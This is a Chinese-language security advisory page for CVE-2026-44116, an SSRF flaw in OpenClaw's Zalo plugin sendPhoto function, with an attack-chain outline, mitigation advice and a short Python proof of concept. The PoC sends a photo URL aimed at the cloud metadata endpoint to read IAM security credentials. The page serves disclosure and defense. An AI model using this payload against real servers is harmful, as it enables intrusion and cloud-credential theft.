IPBUF安全漏洞报告
English
CVE-2026-44116 CVSS 8.6 高危

CVE-2026-44116 OpenClaw SSRF漏洞

披露日期: 2026-05-06

漏洞信息

漏洞编号
CVE-2026-44116
漏洞类型
服务端请求伪造 (SSRF)
CVSS评分
8.6 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

SSRFOpenClaw服务器端请求伪造高危漏洞Zalo插件

漏洞概述

OpenClaw在2026.4.22之前的版本中存在服务器端请求伪造(SSRF)漏洞。该漏洞位于Zalo插件的sendPhoto函数中,由于未能有效验证出站照片URL,导致SSRF防护机制失效。攻击者可向Zalo Bot API提供恶意URL,绕过防护并未经授权访问内部资源。该漏洞无需认证且无用户交互,CVSS评分8.6,对机密性影响严重。

技术细节

该漏洞源于OpenClaw Zalo插件中sendPhoto函数对URL参数的校验逻辑缺陷。虽然系统部署了SSRF防护机制,但该函数未能正确拦截指向内部网络或敏感元数据服务的请求。攻击者可构造包含内网IP(如127.0.0.1)或云服务元数据地址(如http://169.254.169.254)的恶意Payload。当服务器代为请求该URL以获取图片时,攻击者即可利用此行为探测内网端口、读取本地文件或窃取云凭证。由于CVSS向量为AV:N/AC:L/PR:N/UI:N/S:C,攻击者可远程利用此漏洞进行内网横向移动,造成核心数据泄露。

攻击链分析

STEP 1
侦察
攻击者扫描互联网寻找使用OpenClaw且版本低于2026.4.22的目标服务器。
STEP 2
构造载荷
攻击者构造指向内网敏感资源(如云元数据服务)的恶意URL。
STEP 3
发送请求
攻击者向Zalo Bot API的sendPhoto接口发送包含恶意URL的HTTP请求。
STEP 4
SSRF执行
OpenClaw服务器在未充分验证的情况下,向内网恶意URL发起请求。
STEP 5
数据泄露
攻击者接收服务器返回的内网敏感信息,完成凭证窃取或进一步渗透。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-44116: OpenClaw SSRF in Zalo Plugin # This script demonstrates sending a malicious photo URL to exploit the SSRF import requests def exploit_ssrf(target_host, malicious_url): # Endpoint for the vulnerable Zalo sendPhoto function endpoint = f"{target_host}/api/zalo/sendPhoto" # Payload containing the internal resource URL payload = { "recipient_id": "test_user", "photo_url": malicious_url } try: response = requests.post(endpoint, json=payload, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print(f"[+] Response: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Example target and internal metadata URL target = "http://vulnerable-openclaw-server:8080" internal_url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" exploit_ssrf(target, internal_url)

影响范围

OpenClaw < 2026.4.22

防御指南

临时缓解措施
建议立即在防火墙或安全组层面阻断OpenClaw服务器对RFC1918定义的内网地址(如10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)及链路本地地址(169.254.169.254)的访问。若无法升级,请暂时禁用Zalo插件功能以阻断攻击路径。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表